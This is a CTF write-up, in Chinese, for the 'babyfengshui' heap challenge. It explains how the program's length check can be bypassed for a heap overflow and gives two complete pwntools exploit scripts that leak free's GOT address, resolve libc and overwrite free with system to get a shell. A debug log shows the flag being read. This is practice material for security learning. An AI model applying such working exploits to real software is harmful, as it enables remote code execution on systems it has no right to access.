解题思路
基本信息查询
healer@healer:~/Documents/CTF/PWN/babyfengshui$ readelf -h babyfengshui
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x80485c0
Start of program headers: 52 (bytes into file)
Start of section headers: 8568 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 29
Section header string table index: 28
healer@healer:~/Documents/CTF/PWN/babyfengshui$ checksec babyfengshui
[*] '/home/healer/Documents/CTF/PWN/babyfengshui/babyfengshui'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
漏洞分析
下面检测过程只能检测相邻的一组chunk属于一个结点的情况,当一个结点的两个chunk中间物理内存上包含其他完整的结点,即可实现堆的溢出,检测方法实际上是text域的开始加上长度的地址值和记录结点信息的chunk开始处的地址值比大小,正常情况下,写入过多覆盖下一个chunk时,检测条件会被触发则不会写入到本结点的第二个chunk
int __cdecl update_8048724(unsigned __int8 index)
{
char v2; // [sp+17h] [bp-11h]@3
int length; // [sp+18h] [bp-10h]@3
int v4; // [sp+1Ch] [bp-Ch]@1
v4 = *MK_FP(__GS__, 20);
if ( index < (unsigned __int8)sum_804B069 && *(&ptr + index) )
{
length = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &length, &v2);
if ( (char *)(length + *(_DWORD *)*(&ptr + index)) >= (char *)*(&ptr + index) - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
sub_80486BB(*(char **)*(&ptr + index), length + 1);
}
return *MK_FP(__GS__, 20) ^ v4;
}
解题脚本
from pwn import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# io = remote("220.249.52.134",59762)
io = process("./fix_babyfengshui")
elf = ELF("./fix_babyfengshui")
# libc = ELF("./libc.so.6")
libc = ELF("./libc-2.23.so")
context(arch = "i386", os = 'linux')
def add_node(size,name,text_length,text):
io.recvuntil("Action: ")
io.sendline("0")
io.recvuntil("size of description:")
io.sendline(str(size))
io.recvuntil("name:")
io.sendline(name)
io.recvuntil("text length:")
io.sendline(str(text_length))
io.recvuntil("text: ")
io.sendline(text)
def delete_node(index):
io.recvuntil("Action: ")
io.sendline("1")
io.recvuntil("index:")
io.sendline(str(index))
def display_node(index):
io.recvuntil("Action: ")
io.sendline("2")
io.recvuntil("index:")
io.sendline(str(index))
def update_node(index,text_length,text):
io.recvuntil("Action: ")
io.sendline("3")
io.recvuntil("index:")
io.sendline(str(index))
io.recvuntil("text length:")
io.sendline(str(text_length))
io.recvuntil("text:")
io.send(text)
# b * add:0x08048903;
# del:0x0804898D;
# display:0x08048A15;
# update:0x08048814;
# x/20xw 0x0804b080
gdb.attach(io,"b *0x08048903\nb *0x0804898D\nb *0x08048A15\nb *0x08048814")
add_node(0x20,"1"*4,0x20,"a"*0x20)
add_node(0x20,"2"*4,0x20,"b"*0x20)
add_node(0x20,"2"*4,0x20,"b"*0x20)
delete_node(0)
add_node(0x80,"3"*4,0x20,"c"*0x20)
data_addr = 0x0804B040
free_got_addr = elf.got["free"]
log.info("free_got_addr: " + hex(free_got_addr))
payload = b"0"*0x80 + p32(0x88) + p32(0x29) + p32(0)*9 + p32(0x89)
payload += p32(free_got_addr) + b"0"*0xac
payload += p32(data_addr)
update_node(3,len(payload),payload)
payload = b"/bin/sh"
update_node(2,len(payload),payload)
display_node(1)
io.recvuntil("description: ")
free_real_addr = io.recv(4)
# print("--->",free_real_addr)
free_real_addr = u32(free_real_addr)
log.info("free_real_addr: " + hex(free_real_addr))
free_offset = libc.symbols["free"]
log.info("free_offset: " + hex(free_offset))
libc_base_addr = free_real_addr - free_offset
system_offset = libc.symbols["system"]
log.info("system_offset: " + hex(system_offset))
system_real_addr = libc_base_addr + system_offset
log.info("system_real_addr: " + hex(system_real_addr))
payload = p32(system_real_addr)
update_node(1,len(payload),payload)
delete_node(2)
io.interactive()
上面的脚本在本地的时候可以执行成功没有问题,是因为我直接把libc文件换成本地电脑的文件了,方便调试和使用,但是远程的时候发现即使使用题目给的libc也不行,最后考虑可能是由于题目给的libc版本有问题,换成直接用LibcSearcher去找函数地址,成功拿到flag
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
io = remote("111.200.241.243",44511)
# io = process("./fix_babyfengshui")
elf = ELF("./babyfengshui")
libc = ELF("./libc.so.6")
# libc = ELF("./libc-2.23.so")
# context(arch = "i386", os = 'linux')
def add_node(size,name,text_length,text):
io.recvuntil("Action: ")
io.sendline("0")
io.recvuntil("size of description:")
io.sendline(str(size))
io.recvuntil("name:")
io.sendline(name)
io.recvuntil("text length:")
io.sendline(str(text_length))
io.recvuntil("text: ")
io.sendline(text)
def delete_node(index):
io.recvuntil("Action: ")
io.sendline("1")
io.recvuntil("index:")
io.sendline(str(index))
def display_node(index):
io.recvuntil("Action: ")
io.sendline("2")
io.recvuntil("index:")
io.sendline(str(index))
def update_node(index,text_length,text):
io.recvuntil("Action: ")
io.sendline("3")
io.recvuntil("index:")
io.sendline(str(index))
io.recvuntil("text length:")
io.sendline(str(text_length))
io.recvuntil("text:")
io.send(text)
# b * add:0x08048903;
# del:0x0804898D;
# display:0x08048A15;
# update:0x08048814;
# x/20xw 0x0804b080
# gdb.attach(io,"b *0x08048903\nb *0x0804898D\nb *0x08048A15\nb *0x08048814")
add_node(0x20,"1"*4,0x20,"a"*0x20)
add_node(0x20,"2"*4,0x20,"b"*0x20)
add_node(0x20,"2"*4,0x20,"b"*0x20)
delete_node(0)
add_node(0x80,"3"*4,0x20,"c"*0x20)
data_addr = 0x0804B040
free_got_addr = elf.got["free"]
log.info("free_got_addr: " + hex(free_got_addr))
payload = b"0"*0x80 + p32(0x88) + p32(0x29) + p32(0)*9 + p32(0x89)
payload += p32(free_got_addr) + b"0"*0xac
payload += p32(data_addr)
update_node(3,len(payload),payload)
payload = b"/bin/sh"
update_node(2,len(payload),payload)
display_node(1)
io.recvuntil("description: ")
free_real_addr = io.recv(4)
# print("--->",free_real_addr)
free_real_addr = u32(free_real_addr)
log.info("free_real_addr: " + hex(free_real_addr))
obj = LibcSearcher("free",free_real_addr)
libc_base = free_real_addr - obj.dump("free")
system_real_addr = libc_base + obj.dump("system")
# free_offset = libc.symbols["free"]
# log.info("free_offset: " + hex(free_offset))
# libc_base_addr = free_real_addr - free_offset
# log.info("libc_base_addr: " + hex(libc_base_addr))
# system_offset = libc.symbols["system"]
# log.info("system_offset: " + hex(system_offset))
# system_real_addr = libc_base_addr + system_offset
# log.info("system_real_addr: " + hex(system_real_addr))
payload = p32(system_real_addr)
update_node(1,len(payload),payload)
delete_node(2)
io.interactive()
其实也就是换了一下system()函数地址的获取方式,其他没啥变化
备注
可能我的这个方法有点繁琐,但是这个题算是我在堆的题目上,完全不参照大佬的思路,按照自己的想法形成的解题过程,独立完成。前期学姿势,目前可以自己搞姿势了
脚本执行情况
[DEBUG] Received 0xd bytes:
b'text length: '
[DEBUG] Sent 0x2 bytes:
b'4\n'
[DEBUG] Received 0x6 bytes:
b'text: '
[DEBUG] Sent 0x4 bytes:
00000000 40 d9 5a f7 │@·Z·│
00000004
[DEBUG] Received 0xd bytes:
b'0: Add a user'
[DEBUG] Received 0x51 bytes:
b'\n'
b'1: Delete a user\n'
b'2: Display a user\n'
b'3: Update a user description\n'
b'4: Exit\n'
b'Action: '
[DEBUG] Sent 0x2 bytes:
b'1\n'
[DEBUG] Received 0x7 bytes:
b'index: '
[DEBUG] Sent 0x2 bytes:
b'2\n'
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'cyberpeace{******************a5efda2f1ce04}\n'
cyberpeace{******************a5efda2f1ce04}